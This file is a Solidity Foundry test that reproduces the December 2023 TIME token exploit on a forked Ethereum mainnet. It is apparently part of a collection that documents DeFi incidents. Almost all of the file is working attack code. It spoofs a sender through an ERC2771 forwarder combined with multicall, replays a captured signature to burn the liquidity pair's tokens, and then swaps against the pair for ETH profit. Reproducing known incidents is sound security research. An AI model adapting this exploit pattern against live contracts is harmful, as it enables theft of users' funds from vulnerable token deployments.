src/test/2023-12/TIME_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~84.59 ETH
8// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
9// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
10// Vulnerable Contract : https://etherscan.io/address/0x4b0e9a7da8bab813efae92a6651019b8bd6c0a29
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xecdd111a60debfadc6533de30fb7f55dc5ceed01dfadd30e4a7ebdb416d2f6b6
12 
13// @Analysis
14// https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure
15 
16interface IForwarder {
17    struct ForwardRequest {
18        address from;
19        address to;
20        uint256 value;
21        uint256 gas;
22        uint256 nonce;
23        bytes data;
24    }
25 
26    function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);
27}
28 
29interface ITIME is IERC20 {
30    function burn(
31        uint256 amount
32    ) external;
33 
34    function multicall(
35        bytes[] memory data
36    ) external returns (bytes[] memory results);
37}
38 
39contract ContractTest is Test {
40    ITIME private constant TIME = ITIME(0x4b0E9a7dA8bAb813EfAE92A6651019B8bd6c0a29);
41    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
42    Uni_Pair_V2 private constant TIME_WETH = Uni_Pair_V2(0x760dc1E043D99394A10605B2FA08F123D60faF84);
43    Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
44    IForwarder private constant Forwarder = IForwarder(0xc82BbE41f2cF04e3a8efA18F7032BDD7f6d98a81);
45    address private constant recoverAddr = 0xa16A5F37774309710711a8B4E83b068306b21724;
46 
47    function setUp() public {
48        vm.createSelectFork("mainnet", 18_730_462);
49        vm.label(address(TIME), "TIME");
50        vm.label(address(WETH), "WETH");
51        vm.label(address(TIME_WETH), "TIME_WETH");
52        vm.label(address(Router), "Router");
53        vm.label(address(Forwarder), "Forwarder");
54        vm.label(recoverAddr, "recoverAddr");
55    }
56 
57    function testExploit() public {
58        deal(address(this), 5 ether);
59        emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);
60        TIME.approve(address(Router), type(uint256).max);
61        WETH.approve(address(Router), type(uint256).max);
62        WETH.deposit{value: 5 ether}();
63        WETHToTIME();
64 
65        uint256 amountToBurn = 62_227_259_510 * 1e18;
66        bytes[] memory datas = new bytes[](1);
67        datas[0] = abi.encodePacked(TIME.burn.selector, amountToBurn, address(TIME_WETH));
68        bytes memory data = abi.encodeWithSelector(TIME.multicall.selector, datas);
69 
70        IForwarder.ForwardRequest memory request =
71            IForwarder.ForwardRequest({from: recoverAddr, to: address(TIME), value: 0, gas: 5e6, nonce: 0, data: data});
72 
73        // Using signature from attack tx
74        bytes32 messageHash = 0x2038560f9bee81aecd0fa852fae43c9e2a4db94c609c3b91dba5ac0f01b4d5c6;
75        bytes32 r = 0x9194983a3dbfb5779c09c95f5d830d8435d9ce88b383752c3dfb8a1b84b8c9f5;
76        bytes32 s = 0x11b7c750f1334e2f26ca9be32c2d070a4a023edf745b02468d6cba9a15a494c6;
77        uint8 v = 27;
78        assertEq(ecrecover(messageHash, v, r, s), recoverAddr);
79        bytes memory signature = abi.encodePacked(r, s, v);
80 
81        // Start exploit here
82        Forwarder.execute(request, signature);
83        // End exploit
84        TIME_WETH.sync();
85        TIMEToWETH();
86        WETH.withdraw(WETH.balanceOf(address(this)));
87 
88        // In the end of attack tx also ~5 ether was transferred to Flashbot
89        emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
90    }
91 
92    function WETHToTIME() internal {
93        address[] memory path = new address[](2);
94        path[0] = address(WETH);
95        path[1] = address(TIME);
96        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
97            WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
98        );
99    }
100 
101    function TIMEToWETH() internal {
102        address[] memory path = new address[](2);
103        path[0] = address(TIME);
104        path[1] = address(WETH);
105        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
106            TIME.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
107        );
108    }
109 
110    receive() external payable {}
111}